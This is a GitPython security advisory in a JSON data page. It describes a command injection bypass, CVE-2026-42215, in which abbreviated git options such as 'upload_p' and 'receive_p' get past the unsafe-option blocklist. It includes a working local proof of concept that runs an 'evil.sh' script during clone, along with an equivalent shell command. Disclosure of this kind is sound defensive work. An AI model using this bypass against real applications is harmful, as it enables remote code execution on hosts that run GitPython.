[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"repo-stars":3,"vuln-GHSA-2F96-G7MH-G2HX":6},{"stargazers_count":4,"fetched_at":5},8,"2026-09-19T17:35:29.592Z",{"id":7,"descriptions":8,"cisa":9,"weaknesses":10,"exploits":11,"aliases":12,"duplicate_of":9,"upstream":13,"downstream":14,"duplicates":41,"related":42,"reserved_at":9,"published_at":45,"modified_at":46,"state":9,"summary":47,"references_raw":49,"kevs":73,"epss":9,"epss_history":74,"metrics":75,"affected":82},"GHSA-2F96-G7MH-G2HX","GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist\n\n## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**CWE:** CWE-184 (Incomplete List of Disallowed Inputs) → CWE-78 (OS Command Injection)\n**Severity:** inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) — final scoring deferred to maintainer/CNA, mirroring the parent.\n**Reporter:** hackkim\n\n### Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=\u003Cvalue>` → executed as `--upload-pack=\u003Cvalue>` → command injection, in the default `allow_unsafe_options=False` configuration.\n\n### The asymmetry (root cause)\n\n```python\n# git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef _canonicalize_option_name(cls, option):\n    option_name = option.lstrip(\"-\").split(\"=\", 1)[0]\n    option_tokens = option_name.split(None, 1)\n    if not option_tokens:\n        return \"\"\n    return dashify(option_tokens[0])      # only transform: \"_\" -> \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}\n    for option in options:\n        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n        if unsafe_option is not None:\n            raise UnsafeOptionError(...)\n```\n\nThe guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.\n\n### Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion |\n| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--\u003Cdashify(name)>=\u003Cvalue>` to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |\n\n### Bypass keys (verified)\n\n| kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes — direct RCE |\n| `exe` | `--exec` | push | Yes — direct RCE |\n| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |\n\n### Minimal PoC\n\nSelf-contained, no network egress (a local bare repo acts as the \"remote\"). Tested on current `main` (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n# fake \"upload-pack\" program that proves arbitrary command execution\nprog = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n    f.write(f\"#!/bin/sh\\ntouch {marker}\\nexit 1\\n\")  # exit 1 so git aborts after our code ran\nos.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare, bare=True)\n\n# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=\u003Cprog> -> git runs \u003Cprog>\ntry:\n    Repo.clone_from(bare, os.path.join(work, \"out\"), upload_p=prog)\nexcept Exception:\n    pass  # git aborts with GitCommandError AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker))  # True -> command injection confirmed\n```\n\nEquivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed behavior:\n- `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).\n\n### Honest scope note\n\nLike the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.\n\nOn the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently — not claiming Critical.\n\n### Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ `startswith` on the blocked canonical name, after `dashify`).\n2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation.\n3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist.\n\nRemediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist.",null,[],[],[],[],[15,17,19,21,23,25,27,29,31,33,35,37,39],{"_key":16},"CGA-28P5-CVM7-29RV",{"_key":18},"CGA-32XF-47VW-977J",{"_key":20},"CGA-34G2-8P9M-RQ2F",{"_key":22},"CGA-45M9-PXPV-WVW2",{"_key":24},"CGA-486J-42H3-V2RX",{"_key":26},"CGA-7WR7-V62G-5JV5",{"_key":28},"CGA-95QV-HCP6-9FCJ",{"_key":30},"CGA-CM28-99QG-JC3F",{"_key":32},"CGA-CW2V-3R5G-7FRV",{"_key":34},"CGA-MFPM-Q9F3-2292",{"_key":36},"CGA-R8P2-9HQ7-CGP4",{"_key":38},"CGA-V96X-59M6-8Q7F",{"_key":40},"CVE-2026-67325",[],[43],{"_key":44},"CGA-WPW7-54FG-VX4M","2026-07-21T19:43:43Z","2026-07-21T20:00:30.026840401Z",{"cisa_kev":48,"cisa_ransomware":48,"cisa_vendor":9,"epss_severity":9,"epss_score":9,"severity":9,"severity_score":9,"severity_version":9,"severity_source":9,"severity_vector":9,"severity_status":9},false,[50,56,60,64,69],{"url":51,"sources":52,"tags":54},"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx",[53],"osv_pypi",[55],"WEB",{"url":57,"sources":58,"tags":59},"https://github.com/gitpython-developers/GitPython/pull/2161",[53],[55],{"url":61,"sources":62,"tags":63},"https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285",[53],[55],{"url":65,"sources":66,"tags":67},"https://github.com/gitpython-developers/GitPython",[53],[68],"PACKAGE",{"url":70,"sources":71,"tags":72},"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51",[53],[55],[],[],[76],{"source":53,"cvss_v2_0":9,"cvss_v3_0":9,"cvss_v3_1":77,"cvss_v4_0":9},{"baseScore":78,"baseSeverity":9,"vectorString":79,"impactScore":80,"exploitabilityScore":81},8.8,"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",9.8,7.2,[83],{"ecosystem":84,"name":85,"vendor":84,"product":85,"cpe_part":9,"purl_type":86,"purl_namespace":9,"purl_name":85,"source":9,"versions":87},"PyPI","gitpython","pypi",[88],{"version":89,"is_range":90,"range_type":91,"version_start":9,"version_start_type":9,"version_end":92,"version_end_type":93,"fixed_in":9},"lt3_1_51",true,"ecosystem","3.1.51","excluding"]